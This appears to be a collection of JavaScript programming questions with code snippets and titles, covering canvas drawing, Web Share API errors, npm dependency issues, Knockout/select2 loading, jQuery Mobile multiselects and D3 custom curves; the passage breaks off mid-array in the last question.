defaultView.getComputedStyle ( inputElem , null ) .WebkitAppearance ! == `` textfield '' & & ( inputElem.offsetHeight ! == 0 ) ; docElement.removeChild ( inputElem ) ; } return ! ! available ; } ; yepnope ( { test : iHasRangeInput ( ) , nope : [ `` css/fd-slider.min.css '' , `` js/fd-slider.min.js '' ] , callback : function ( id , testResult ) { if ( `` fdSlider '' in window & & typeof ( fdSlider.onDomReady ) ! = `` undefined '' ) { try { fdSlider.onDomReady ( ) ; } catch ( err ) { } } } } ) ; // with this code I can change the background $ ( document ) .ready ( function ( ) { $ ( `` # cambiocanvas > input '' ) .click ( function ( ) { var img = $ ( this ) .attr ( `` src '' ) ; $ ( `` .drawing-board-canvas '' ) .css ( `` background '' , `` url ( `` + img + `` ) '' ) ; } ) ; } ) ; < /script > < div class= '' tab-pane '' id= '' derm '' > < div class= '' row-fluid sortable '' > < div class= '' box span3 '' > < section id= '' cambiocanvas '' > < input id= '' yellowcanvas '' class= '' canvasborder '' type= '' image '' src= '' http : //2.imimg.com/data2/MB/BH/MY-651900/23-250x250.jpg '' > < input id= '' bluecanvas '' class= '' canvasborder '' type= '' image '' src= '' http : //jsfiddle.net/img/logo.png '' > < input id= '' greencanvas '' class= '' canvasborder '' type= '' image '' src= '' https : //www.gravatar.com/avatar/86364f16634c5ecbb25bea33dd9819da ? s=128 & d=identicon & r=PG & f=1 '' > < /section > < /div > < div class= '' box span9 '' > < div class= '' box-header well '' data-original-title > < h2 > < i class= '' icon-tasks '' > < /i > < /h2 > < div class= '' box-icon '' > < a href= '' # '' class= '' btn btn-minimize btn-round '' > < i class= '' icon-chevron-up '' > < /i > < /a > < a href= '' # '' class= '' btn btn-close btn-round '' > < i class= '' icon-remove '' > < /i > < /a > < /div > < /div > < div class= '' box-content '' > < div id= '' container '' > < div class= '' example '' data-example= '' 1 '' > < div class= '' board '' id= '' default-board '' > < /div > < /div > < form class= '' drawing-form '' method= '' post '' name= '' diagram '' id= '' diagram '' enctype= '' multipart/form-data '' > < div id= '' board '' > < /div > < input type= '' hidden '' name= '' image '' value= '' '' > < input type= '' hidden '' name= '' id_user '' value= '' < ? php echo $ id '' / > < br > < hr > < button class= '' btn btn-info '' id= '' btnUpload '' > Save < /button > < /form > < div id= '' ldiag '' style= '' display : none ; '' > < img src= '' images/loading4.gif '' / > < /div > < div class= '' progress1 '' > < /div > < div id= '' diaga '' > < /div > < /div > < /div > < /div > < script src= '' js/drawingboard.min.js '' > < /script > < script data-example= '' 1 '' > var defaultBoard = new DrawingBoard.Board ( `` default-board '' , { background : `` # ffff '' , droppable : true , webStorage : false , enlargeYourContainer : true , addToBoard : true , stretchImg : false } ) ; defaultBoard.addControl ( `` Download '' ) ; $ ( `` .drawing-form '' ) .on ( `` submit '' , function ( e ) { var img = defaultBoard.getImg ( ) ; var imgInput = ( defaultBoard.blankCanvas == img ) ? `` '' : img ; $ ( this ) .find ( `` input [ name=image ] '' ) .val ( imgInput ) ; defaultBoard.clearWebStorage ( ) ; } ) ; $ ( function ( ) { $ ( `` # file-input '' ) .change ( function ( e ) { var file = e.target.files [ 0 ] , imageType = /image . */ ; if ( ! file.type.match ( imageType ) ) return ; var reader = new FileReader ( ) ; reader.onload = fileOnload ; reader.readAsDataURL ( file ) ; } ) ; function fileOnload ( e ) { var canvas = $ ( `` # default-board '' ) [ 0 ] ; var context = canvas.getContext ( `` 2d '' ) ; var background = new Image ; background.src = canvas.style.background.replace ( /url\ ( /|\ ) /gi , '' '' ) .trim ( ) ; background.onload = function ( ) { var $ img = $ ( `` < img > '' , { src : e.target.result } ) ; $ img.load ( function ( ) { context.drawImage ( backgroundImage , 0 , 0 , canvas.width , canvas.height ) ; context.drawImage ( this , 0 , 0 ) ; } ) ; } } } ) ;",Save Canvas with selected background "JS : I am fetching an img , turning it into a file , and then trying to share that file . I tested the code on latest Chrome on Android ( the only browser to currently support this API ) . I am running the function in response to a user clicking a button ( the share ( ) method must be called from a user gesture , otherwise it wo n't work ) . ( I am testing this code using Browserstack , which provides a console for javascript errors , as I could n't successfully link my Android device to my mac for debugging and this API only works on mobile phones - not on Chrome for desktop . ) if ( shareimg & & navigator.canShare ) { share = async function ( ) { const response = await fetch ( shareimg ) ; const blob = await response.blob ( ) ; const file = await new File ( [ blob ] , `` image.jpeg '' ) ; navigator.share ( { url : shareurl , title : sharetitle , text : sharetext , files : [ file ] } ) ; } ; }",Web Share API level 2 DOMException : Permission denied "JS : How can I skip a function if the executing time too long . For example I have 3 functions : So for example for some reason function B have infinity loop inside , and keep running . How can I skip function B and go to function C if function B executing too long ? I tried this but seem not working : But seem not working.Update 1 : FYI , I did n't do any anti-pattern but function B is something in NPM and I submitted issues to the owner of repo . Just try to dodge the bullet so I have some extra times until the fix . Thanks guys for helping me so far : ) function A ( ) { Do something.. .. } function B ( ) { Do something.. .. } function C ( ) { Do something.. .. } A ( ) ; B ( ) ; C ( ) ; try { const setTimer = setTimeOut ( { throw new Error ( `` Time out ! `` ) ; } ,500 ) ; B ( ) ; clearInterval ( setTimer ) ; } catch ( error ) { console.warn ( error ) ; }",Skip the function if executing time too long . JavaScript "JS : Apparently all out of sudden , I get the following error when I run npm install : I have the following dependencies in package.json . I have tried updating the babel packages to the latest versions , as well as installing babel-plugin-transform-decorators @ 6.13.0 , but still I get this error.Does anybody know why , have a solution or face the same issues ? It seems to me from this page that the 6.13.0 version was published 14 hours ago . However , npm install babel-plugin-transform-decorators installs the previous version of that package ( 6.8.0 ) . Is n't the 6.13.0 available yet ? I use Node 6.0.0 on Windows , and npm 3.8.6.Thanks in advance ! npm ERR ! No compatible version found : babel-plugin-transform-decorators @ ^6.13.0npm ERR ! Valid install targets : npm ERR ! 6.8.0 , 6.6.5 , 6.6.4 , 6.6.0 , 6.5.0 , 6.5.0-1 , 6.4.0 , 6.3.13 , 6.2.4 , 6.1.18 , 6.1.17 , 6.1.10 , 6.1.5 , 6.1.4 , 6.0.14 , 6.0.2 { `` babel '' : `` 6.3.26 '' , '' babel-core '' : `` 6.5.2 '' , '' babel-cli '' : `` ^6.7.7 '' , '' babel-loader '' : `` 6.2.3 '' , '' babel-polyfill '' : `` 6.6.1 '' , '' babel-preset-es2015 '' : `` 6.5.0 '' , '' babel-preset-react '' : `` 6.5.0 '' , '' babel-preset-stage-0 '' : `` 6.3.13 '' , '' babelify '' : `` 7.2.0 '' , '' browserify '' : `` 13.0.0 '' , '' chai-enzyme '' : `` 0.4.2 '' , '' chai-jquery '' : `` 2.0.0 '' , '' cheerio '' : `` 0.20.0 '' , '' deep-freeze '' : `` 0.0.1 '' , '' enzyme '' : `` 2.2.0 '' , '' express '' : `` 4.13.4 '' , '' fetch '' : `` 1.0.1 '' , '' http-proxy '' : `` 1.13.2 '' , '' immutable '' : `` 3.7.6 '' , '' isomorphic-fetch '' : `` 2.2.1 '' , '' jquery '' : `` 2.2.1 '' , '' jsfmt '' : `` 0.5.3 '' , '' moment '' : `` 2.11.2 '' , '' path '' : `` 0.12.7 '' , '' react '' : `` 0.14.7 '' , '' react-document-title '' : `` 2.0.1 '' , '' react-dom '' : `` 0.14.7 '' , '' react-redux '' : `` 4.4.0 '' , '' react-router '' : `` 2.0.0 '' , '' react-router-redux '' : `` 4.0.0 '' , '' react-scroll '' : `` 1.0.3 '' , '' redux '' : `` 3.3.1 '' , '' redux-form '' : `` 4.2.0 '' , '' redux-thunk '' : `` 2.0.1 '' , '' request '' : `` 2.69.0 '' , '' scroll-behavior '' : `` 0.3.2 '' , '' sinon '' : `` 1.17.3 '' , '' webpack '' : `` 1.12.13 '' , '' whatwg-fetch '' : `` 0.11.0 '' , '' chokidar '' : `` git+https : //github.com/paulmillr/chokidar.git # 1.4.2 '' }",No compatible version found : babel-plugin-transform-decorators @ ^6.13.0 "JS : So I draw an object on the screen at objectx , objecty and increment objectx when right arrow is pressed , moving the object to the right . The problem I 'm running into is that if I hold the right arrow key down it increments once , pauses , and then increments repeatedly . My question is why does it do this , and how can I make the object move fluidly without that initial pause ? $ ( window ) .keydown ( function ( e ) { if ( e.keyCode == 39 ) { objectx++ ; } }",Pause when holding down key "JS : I 'm trying out Google Closure , specifically the annotating stuff to enforce type safety . To test I did something wrong , though the compiler wo n't tell me that it is ... Here 's the code : So , I have a variable number which I say is a Number , and I try to assign a string to it . This should n't be possible , right ? Though the compiler wo n't tell me that ... Why wo n't it tell me that 's wrong ? // ==ClosureCompiler==// @ output_file_name default.js// @ compilation_level SIMPLE_OPTIMIZATIONS// ==/ClosureCompiler==/** * A card . * @ constructor * @ param { String } cardName The exact name of the card * @ param { Kinetic.Layer } layer The layer for the card */function CardObject ( cardName , layer ) { /** @ type { Number } */ var number = cardName ; }",Google Closure Annotating wo n't tell me I 'm wrong "JS : I often wrote functional components following a 'Class architecture ' where all my function that concern the component are written inside of it like a method in a class.For example , I have here a function counterAsFloat that is related to the Counter component . As you see I just wrote it inside of the component : But actually I could also just declare the function outside the component and use it with a parameter : So are there any pros or cons to write the functions outside the functional component ? export default function Counter ( ) { const [ counter , setCounter ] = React.useState ( 0 ) ; const counterAsFloat = ( ) = > { return counter.toFixed ( 2 ) ; } ; return ( < div className= '' counter '' > < h1 > { counterAsFloat ( ) } < /h1 > < button onClick= { ( ) = > setCounter ( counter + 1 ) } > Increment < /button > < /div > ) ; } const counterAsFloat = ( counter ) = > { return counter.toFixed ( 2 ) ; } ; export default function Counter ( ) { const [ counter , setCounter ] = React.useState ( 0 ) ; return ( < div className= '' counter '' > < h1 > { counterAsFloat ( counter ) } < /h1 > < button onClick= { ( ) = > setCounter ( counter + 1 ) } > Increment < /button > < /div > ) ; }",Functional Component : Write functions inside or outside the component ? "JS : How can I use JQuery to search for elements , that have a specific attribute value , regardless of the attribute tag ? Like : should findThe first one , because of the `` target '' attribute , the second one for the `` change '' attribute.Is there a better solution than just iterate over all attributes ? $ ( `` [ *='myvalue ' ] '' ) < a href= '' target.html '' target= '' myvalue '' > ... < tr change= '' myvalue '' > ...","JQuery selector using value , but unknown attribute" "JS : As written in the title , I have HTML table that has few columns where the user has to select values from dropdown lists . What I want to do is to be able to export this table to a CSV file . I found online a jquery plugin but I have a problem with the dropdown lists . It gives back all of the option for each row instead the ones that are selected . I tried fixing this but I failed . The JQuery plugin and and example table are in the jsfiddle : https : //jsfiddle.net/bLa8pn74/I tried to insert this : But it only printed the head row . I now it should be simple change but I just ca n't figure it out .EDIT : I would like that my solution is without creating new table.EDIT 2 : I tried this code also : And it gives me the selected option but also afterwards all dropdown options , and extra `` '' , '' '' , where it finds an empty cell.And If I add `` else '' before the second `` line.push '' then it returns only the selected values and everything else is empty . if ( $ ( this ) .find ( 'select ' ) .each ( function ( ) { line.push ( _quote_text ( $ ( this ) .find ( `` option : selected '' ) .text ( ) ) ) ; } ) ) ; if ( $ ( this ) .find ( 'select ' ) ) { line.push ( _quote_text ( $ ( this ) .find ( 'option : selected ' ) .text ( ) ) ) ; } line.push ( _quote_text ( _trim_text ( $ ( this ) .text ( ) ) ) ) ;",Export html table with dropdown lists to a CSV file using jquery/javascript "JS : These 4 functions have mix & matched function syntax . When calling the nested function , the func : with arrow function returns blanks.a ( ) .func ( ) // returns blankb ( ) .func ( ) // returns `` Brian '' c ( ) .func ( ) // returns `` Charlie '' d ( ) .func ( ) // returns blankI thought the arrow function retain the scope of `` this '' ? The behavior seems to be the opposite of what I 've thought . When did the arrow function went out of scope ? let a = ( ) = > ( { name : '' Anna '' , func : ( ) = > console.log ( this.name ) } ) let b = ( ) = > ( { name : '' Brian '' , func : function ( ) { console.log ( this.name ) } } ) let c = function ( ) { return ( { name : '' Charlie '' , func : function ( ) { console.log ( this.name ) } } ) } let d = function ( ) { return ( { name : '' Denny '' , func : ( ) = > console.log ( this.name ) } ) }",ES6 arrow function and lexical scope inside a function "JS : I want to load a page immediately , then load data to fill in select2 boxes afterward . Using Knockout , I get no errors finally , but see no items in my select2 select boxes . Loading synchronously from server works , but very slow ( because of getting app_names ) . I have so far : The inspiration to help the page load at all was found in wait for ajax result to bind knockout modelI want to load html , I 'll do the spinning gif that says `` loading '' , make an AJAX call to get my app_names , and when app_names arrive I add them to select2 boxes and initialize select2 . < head > < meta charset= '' utf-8 '' > < meta http-equiv= '' X-UA-Compatible '' content= '' IE=edge '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < title > Admin suite < /title > < ! -- Load javascript libraries -- > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js '' > < /script > < script src= '' //cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.1/js/bootstrap.min.js '' > < /script > < script src= '' //cdnjs.cloudflare.com/ajax/libs/select2/4.0.0/js/select2.min.js '' > < /script > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.4/css/bootstrap.css '' rel= '' stylesheet '' > < ! -- best interactive input box -- > < link href= '' //cdnjs.cloudflare.com/ajax/libs/select2/4.0.0/css/select2.min.css '' rel= '' stylesheet '' / > < script type= '' text/javascript '' src= '' //cdn.jsdelivr.net/momentjs/latest/moment.min.js '' > < /script > < script type= '' text/javascript '' src= '' //cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.js '' > < /script > < link rel= '' stylesheet '' type= '' text/css '' href= '' //cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.css '' / > < script type= '' text/javascript '' src= '' https : //cdnjs.cloudflare.com/ajax/libs/underscore.js/1.8.3/underscore-min.js '' > < /script > < script type= '' text/javascript '' src= '' https : //cdnjs.cloudflare.com/ajax/libs/knockout/3.4.1/knockout-min.js '' > < /script > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/css/select2.min.css '' rel= '' stylesheet '' > < script type= '' text/javascript '' src= '' https : //cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/js/select2.min.js '' > < /script > < ! -- semantic -- > < ! -- < link href= '' https : //cdnjs.com/libraries/semantic-ui '' rel= '' stylesheet '' / > -- > < style > .center { float : none ; margin-left : auto ; margin-right : auto ; } # centered { width : 50 % ; margin : 0 auto ; margin-top : 100 } # middleman-datepicker { cursor : pointer ; } .column { float : left ; padding : 5px 10px ; } .row { overflow : hidden ; } label { display : -webkit-box ; display : -webkit-flex ; display : -ms-flexbox ; display : flex ; -webkit-box-align : center ; -webkit-align-items : center ; -ms-flex-align : center ; align-items : center ; } input [ type=radio ] , input [ type=checkbox ] { -webkit-box-flex : 0 ; -webkit-flex : none ; -ms-flex : none ; flex : none ; margin-right : 10px ; } .btn-primary , .btn-primary : active , .btn-primary : visited , .btn-primary : focus { background-color : # f49e42 ; border-color : # 8064A2 ; } .btn-primary : focus { background-color : # f49542 ; } .btn-primary : hover { background-color : # f48c42 ; } < /style > < meta id= '' my-data '' data-app-names= '' [ & # 34 ; cart & # 34 ; , & # 34 ; catalog & # 34 ; , & # 34 ; common-ui & # 34 ; , & # 34 ; content & # 34 ; , & # 34 ; ContentServices & # 34 ; , & # 34 ; cyc & # 34 ; , & # 34 ; deliverFromStore & # 34 ; , & # 34 ; fbr & # 34 ; , & # 34 ; fbt & # 34 ; , & # 34 ; irg & # 34 ; , & # 34 ; localization & # 34 ; , & # 34 ; mylist-domain-service & # 34 ; , & # 34 ; mylist-service & # 34 ; , & # 34 ; mylist-ui & # 34 ; , & # 34 ; nlpplus-service & # 34 ; , & # 34 ; nlpservices & # 34 ; , & # 34 ; orangegraph & # 34 ; , & # 34 ; passbookService & # 34 ; , & # 34 ; pricing & # 34 ; , & # 34 ; promotion & # 34 ; , & # 34 ; recommendations & # 34 ; , & # 34 ; registry & # 34 ; , & # 34 ; relatedsearch & # 34 ; , & # 34 ; review_service & # 34 ; , & # 34 ; sbotd-svcs & # 34 ; , & # 34 ; SearchNavServices & # 34 ; , & # 34 ; shipping & # 34 ; , & # 34 ; SpecialBuy & # 34 ; , & # 34 ; store-search & # 34 ; , & # 34 ; storefinder & # 34 ; , & # 34 ; typeahead2 & # 34 ; , & # 34 ; vectorsearch & # 34 ; , & # 34 ; wayfinder & # 34 ; ] '' > < style > .deactivate-services-box , .delete-services-box { width : 400px ; } .clear-button { margin-left : 10px ; } < /style > < /head > < body > < nav class= '' navbar navbar-default navbar-fixed-top '' > < div class= '' container '' > < div class= '' navbar-header '' > < button type= '' button '' class= '' navbar-toggle collapsed '' data-toggle= '' collapse '' data-target= '' # bs-example-navbar-collapse-1 '' > < span class= '' sr-only '' > Toggle Navigation < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < /button > < a class= '' navbar-brand '' href= '' / '' > SLO admin suite < /a > < /div > < a data-toggle= '' dropdown '' class= '' dropdown-toggle '' href= '' # '' > < div id= '' navbar '' class= '' navbar-collapse collapse '' > < ul class= '' nav navbar-nav navbar-right '' > < li class= '' dropdown '' > Navigate < span class= '' caret '' > < /span > < ul class= '' dropdown-menu '' aria-labelledby= '' dropdownMenu1 '' > < li class= '' dropdown-header '' > < a href= '' / '' > Middleman backfill < /a > < /li > < li class= '' dropdown-header '' > < a href= '' /healthchecks '' > Healthcheck statuses < /a > < /li > < li class= '' dropdown-header '' > < a href= '' /delete-services '' > Delete/deactivate services < /a > < /li > < /ul > < /li > < /ul > < /div > < /a > < /div > < /nav > < script type= '' text/javascript '' > < /script > < div style= '' padding-top : 90px ; float : left ; '' class= '' container '' > < div > < div class= '' '' > < ! -- https : //select2.github.io/examples.html -- > < meta id= '' my-data '' data-app-names= '' [ & # 34 ; cart & # 34 ; , & # 34 ; catalog & # 34 ; , & # 34 ; common-ui & # 34 ; , & # 34 ; content & # 34 ; , & # 34 ; ContentServices & # 34 ; , & # 34 ; cyc & # 34 ; , & # 34 ; deliverFromStore & # 34 ; , & # 34 ; fbr & # 34 ; , & # 34 ; fbt & # 34 ; , & # 34 ; irg & # 34 ; , & # 34 ; localization & # 34 ; , & # 34 ; mylist-domain-service & # 34 ; , & # 34 ; mylist-service & # 34 ; , & # 34 ; mylist-ui & # 34 ; , & # 34 ; nlpplus-service & # 34 ; , & # 34 ; nlpservices & # 34 ; , & # 34 ; orangegraph & # 34 ; , & # 34 ; passbookService & # 34 ; , & # 34 ; pricing & # 34 ; , & # 34 ; promotion & # 34 ; , & # 34 ; recommendations & # 34 ; , & # 34 ; registry & # 34 ; , & # 34 ; relatedsearch & # 34 ; , & # 34 ; review_service & # 34 ; , & # 34 ; sbotd-svcs & # 34 ; , & # 34 ; SearchNavServices & # 34 ; , & # 34 ; shipping & # 34 ; , & # 34 ; SpecialBuy & # 34 ; , & # 34 ; store-search & # 34 ; , & # 34 ; storefinder & # 34 ; , & # 34 ; typeahead2 & # 34 ; , & # 34 ; vectorsearch & # 34 ; , & # 34 ; wayfinder & # 34 ; ] '' > < style > .deactivate-services-box , .delete-services-box { width : 400px ; } .clear-button { margin-left : 10px ; } < /style > < body > < div id= '' centered '' > < span data-bind= '' visible : currently_running_ajax '' > < h4 > Pretending to run deactivation/deletion for 3 secs ... < /h4 > < p > < img src= '' /static/img/loader.gif '' / > < /p > < /span > < div id= '' ajax-return-error-message '' style= '' position : fixed ; top:10 % ; right:45 % ; color : red ; z-index : 999 ; display : none ; '' > < /div > < h2 > Deactivate services < /h2 > < select class= '' deactivate-services-box '' multiple= '' multiple '' data-bind= '' foreach : app_names '' > < option data-bind= '' value : $ data , text : $ data '' > < /option > < /select > < button id= '' deactivate-clear-all-button '' class= '' clear-button '' > Clear all < /button > < h2 > Permanently delete services < /h2 > < select class= '' delete-services-box '' multiple= '' multiple '' data-bind= '' foreach : app_names '' > < option data-bind= '' value : $ data , text : $ data '' > < /option > < /select > < button id= '' delete-clear-all-button '' class= '' clear-button '' > Clear all < /button > < br > < br > < p id= '' empty-set-error-message '' style= '' color : red ; display : none ; '' > Please make a selection < /p > < button id= '' submit-button '' data-bind= '' click : submit_deactivation_and_or_deletion '' class= '' btn-primary btn-lg '' style= '' margin-left : 20px ; `` > Submit < /button > < button id= '' submit-button '' data-bind= '' click : submit_fails_demo '' class= '' btn-info btn-lg '' style= '' margin-left : 20px ; `` > Submit will fail < /button > < /div > < script type= '' text/javascript '' > var app_names = [ ] ; console.log ( `` app names 1 '' ) ; // knockout function DeleteServicesViewModel ( ) { var self = this ; self.app_names = app_names ; console.log ( `` app names 2 '' ) ; self.currently_running_ajax = ko.observable ( false ) ; // var djangoData = $ ( ' # my-data ' ) .data ( ) ; // self.app_names = djangoData.appNames ; self.find_any_duplicates = function ( list_one , list_two ) { var duplicates = [ ] ; for ( i = 0 ; i < list_one.length ; i++ ) { var item = list_one [ i ] ; if ( _.contains ( list_two , item ) ) { duplicates.push ( item ) ; } } return duplicates ; } self.display_error_message = function ( error ) { setTimeout ( function ( ) { $ ( `` # ajax-return-error-message '' ) .text ( error ) $ ( `` # ajax-return-error-message '' ) .slideDown ( 500 , function ( ) { setTimeout ( function ( ) { $ ( `` # ajax-return-error-message '' ) .slideUp ( 500 ) ; } , 2600 ) ; } ) ; } , 300 ) ; } self.submit_deactivation_and_or_deletion = function ( ) { var deactivate_values = $ deactivate_services_box.val ( ) ; var deletion_values = $ delete_services_box.val ( ) ; // alert ( deactivate_values ) ; if ( deactivate_values.length == 0 & & deletion_values.length == 0 ) { $ ( `` # empty-set-error-message '' ) .slideDown ( 500 , function ( ) { setTimeout ( function ( ) { $ ( `` # empty-set-error-message '' ) .slideUp ( 500 ) ; } , 1700 ) ; } ) ; return ; } var duplicates = self.find_any_duplicates ( deactivate_values , deletion_values ) ; if ( duplicates.length ) { alert ( `` We can not both delete and deactivate the same item . You have the following duplicates : \n\n % dups % \n\nPlease remove duplicates '' .replace ( `` % dups % '' , duplicates ) ) ; return ; } console.log ( 'duplicates : ' , duplicates ) ; self.currently_running_ajax ( true ) ; $ .ajax ( { url : `` /run-deactivation-and-deletion '' , method : `` POST '' , headers : { `` Content-Type '' : `` application/json '' } , data : ko.toJSON ( { deactivate_list : deactivate_values , deletion_list : deletion_values } ) , success : function ( data ) { console.log ( `` worked '' ) ; $ deactivate_services_box.val ( null ) .trigger ( `` change '' ) ; $ delete_services_box.val ( null ) .trigger ( `` change '' ) ; } , error : function ( xhr , textStatus , error ) { console.log ( `` failed '' ) ; console.log ( error ) ; self.currently_running_ajax ( false ) ; self.display_error_message ( error ) ; } , complete : function ( ) { self.currently_running_ajax ( false ) ; } } ) ; } // TODO : delete after demo self.submit_fails_demo = function ( ) { var deactivate_values = $ deactivate_services_box.val ( ) ; var deletion_values = $ delete_services_box.val ( ) ; // alert ( deactivate_values ) ; if ( deactivate_values.length == 0 & & deletion_values.length == 0 ) { $ ( `` # empty-set-error-message '' ) .slideDown ( 500 , function ( ) { setTimeout ( function ( ) { $ ( `` # empty-set-error-message '' ) .slideUp ( 500 ) ; } , 1700 ) ; } ) ; return ; } var duplicates = self.find_any_duplicates ( deactivate_values , deletion_values ) ; if ( duplicates.length ) { alert ( `` We can not both delete and deactivate the same item . You have the following duplicates : \n\n % dups % \n\nPlease remove duplicates '' .replace ( `` % dups % '' , duplicates ) ) ; return ; } console.log ( 'duplicates : ' , duplicates ) ; self.currently_running_ajax ( true ) ; $ .ajax ( { url : `` /run-deactivation-and-deletion-fails-demo '' , method : `` POST '' , headers : { `` Content-Type '' : `` application/json '' } , data : ko.toJSON ( { deactivate_list : deactivate_values , deletion_list : deletion_values } ) , // designed to fail for demo error : function ( xhr , textStatus , error ) { console.log ( `` failed '' ) ; console.log ( error ) ; self.currently_running_ajax ( false ) ; self.display_error_message ( error ) ; } , complete : function ( ) { self.currently_running_ajax ( false ) ; } } ) ; } } $ .getJSON ( `` /app-names '' , function ( data ) { var app_names_json_string = data.app_names ; var app_names = JSON.parse ( data.app_names ) ; console.log ( `` app names 3 '' ) ; ko.applyBindings ( new DeleteServicesViewModel ( app_names ) ) ; var $ deactivate_services_box = $ ( `` .deactivate-services-box '' ) ; var $ delete_services_box = $ ( `` .delete-services-box '' ) ; $ deactivate_services_box.select2 ( ) ; $ delete_services_box.select2 ( ) ; $ ( `` # deactivate-clear-all-button '' ) .on ( `` click '' , function ( ) { $ deactivate_services_box.val ( null ) .trigger ( `` change '' ) ; } ) ; $ ( `` # delete-clear-all-button '' ) .on ( `` click '' , function ( ) { $ delete_services_box.val ( null ) .trigger ( `` change '' ) ; } ) ; } ) ; // ko.applyBindings ( new DeleteServicesViewModel ( ) ) ; < /script > < /body > < /div > < br > < /div > < /div > < /body > < /html >",Load page asynchronously in Knockoutjs "JS : I have a jQuery mobile custom multiselect , but when I select one item we have the list of items on the HTML select tag , but it is not updated with the selected attribute.Using the Multiple selects example of the page : Is there a way for making it add the selected attribute by default ? < div data-role= '' fieldcontain '' class= '' ui-field-contain ui-body ui-br '' > < label for= '' select-choice-9 '' class= '' select ui-select '' > Choose shipping method ( s ) : < /label > < div class= '' ui-select '' > < a href= '' # '' role= '' button '' aria-haspopup= '' true '' data-theme= '' c '' class= '' ui-btn ui-btn-icon-right ui-btn-corner-all ui-shadow ui-btn-up-c '' > < span class= '' ui-btn-inner ui-btn-corner-all '' > < span class= '' ui-btn-text '' > Rush : 3 days , Express : next day < /span > < span class= '' ui-icon ui-icon-arrow-d ui-icon-shadow '' > < /span > < /span > < span class= '' ui-li-count ui-btn-up-c ui-btn-corner-all '' style= '' '' > 2 < /span > < /a > < select name= '' select-choice-9 '' id= '' select-choice-9 '' multiple= '' multiple '' data-native-menu= '' false '' tabindex= '' -1 '' > < option > Choose options < /option > < option value= '' standard '' > Standard : 7 day < /option > < option value= '' rush '' > Rush : 3 days < /option > < option value= '' express '' > Express : next day < /option > < option value= '' overnight '' > Overnight < /option > < /select > < /div > < /div >",jQuery mobile Multiselect does n't update selected attribute "JS : I have been trying to use the Kotlin - > js compiler by following this tutorial.When I run kotlinc-js -- help , then the help text mentions the following : What is a kjsm file ? -kjsm Generate kjsm-files ( for creating libraries )",Kotlin : What is a kjsm file ? "JS : Consider this D3JS graph which uses a basis interpolation : In D3JS v3 , I could use bundle interpolation ( .interpolate ( `` bundle '' ) .tension ( 0 ) ) on areas to achieve this type of rendering instead : Notice how each segment of the graph fits nicely with its neighbors . This is what I need.With D3JS v4 and v5 , the syntax for bundle interpolation is now this : .curve ( d3.curveBundle ) . However , it 's now `` intended to work with d3.line , not d3.area . `` I recently upgraded from v3 to v5 , and so I 'm trying to create a custom bundle curve that will work with areas too , to keep the interpolation type I enjoyed with v3.I 'm very close . This is what I have so far : ( The bundle code is adapted from bundle.js in d3-shape . ) I 'm very close : if you inspect the SVG , you 'll see that , even though nothing is shown , paths actually do get created.If you look at the first `` visible '' segment ( class segment M ) you 'll see that it contains a move command somewhere in the middle : If I rename it to a line command , like so : …then that segment will show.I 'm confused as to which part of the custom curve is responsible for that . How can I turn that M into an L ? The resulting paths also happen to lack final Zs . How would I go about handling that ? I have n't found much help regarding custom curves in D3JS . Any help is welcome . ///////////////////// Custom curves./** Bundle-ish . * Trying to adapt curveBundle for use with areas… */function myBundle ( context , beta ) { this._basis = new d3.curveBasis ( context ) ; this._beta = beta ; this._context = context ; // temporary . should n't be needed for bundle . } myBundle.prototype = { areaStart : function ( ) { this._line = 0 ; } , areaEnd : function ( ) { this._line = NaN ; } , lineStart : function ( ) { this._x = [ ] ; this._y = [ ] ; this._basis.lineStart ( ) ; } , lineEnd : function ( ) { var x = this._x , y = this._y , j = x.length - 1 ; if ( j > 0 ) { var x0 = x [ 0 ] , y0 = y [ 0 ] , dx = x [ j ] - x0 , dy = y [ j ] - y0 , i = -1 , t ; while ( ++i < = j ) { t = i / j ; this._basis.point ( this._beta * x [ i ] + ( 1 - this._beta ) * ( x0 + t * dx ) , this._beta * y [ i ] + ( 1 - this._beta ) * ( y0 + t * dy ) ) ; } } this._x = this._y = null ; this._basis.lineEnd ( ) ; } , point : function ( x , y ) { this._x.push ( +x ) ; this._y.push ( +y ) ; // console.log ( this._x.push ( +x ) , this._y.push ( +y ) ) ; } } ; myCurveBundle = ( function custom ( beta ) { function myCurveBundle ( context ) { return beta === 1 ? new myBasis ( context ) : new myBundle ( context , beta ) ; } myCurveBundle.beta = function ( beta ) { return custom ( +beta ) ; } ; return myCurveBundle ; } ) ( 0.85 ) ; ///////////////////// The chart . var width = 960 ; var height = 540 ; var data = [ ] ; data.prosody = [ 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.473 , 116.578 , 125.552 , 134.888 , 144.225 , 153.561 , 162.898 , 172.235 , 181.571 , 190.908 , 200.244 , 209.581 , 218.917 , 227.715 , 218.849 , 209.591 , 200.333 , 191.076 , 181.818 , 172.560 , 163.302 , 154.044 , 144.787 , 135.529 , 126.271 , 117.013 , 107.755 , 98.498 , 89.240 , 97.511 , 118.857 , 140.202 , 161.547 , 182.893 , 192.100 , 188.997 , 185.895 , 182.792 , 179.690 , 176.587 , 173.485 , 170.382 , 167.280 , 164.177 , 161.075 , 157.972 , 154.870 , 151.767 , 148.665 , 145.562 , 142.460 , 139.357 , 136.255 , 133.152 , 130.050 , 126.947 , 124.244 , 122.275 , 120.307 , 118.338 , 116.369 , 114.400 , 112.431 , 110.462 , 108.493 , 106.524 , 104.555 , 102.586 , 100.617 , 98.648 , 99.659 , 101.531 , 103.402 , 105.273 , 107.145 , 109.016 , 110.887 , 112.758 , 114.630 , 116.501 , 118.372 , 120.244 , 122.115 , 123.986 , 125.857 , 127.729 , 129.600 , 131.471 , 133.343 , 135.214 , 137.085 , 138.956 , 140.828 , 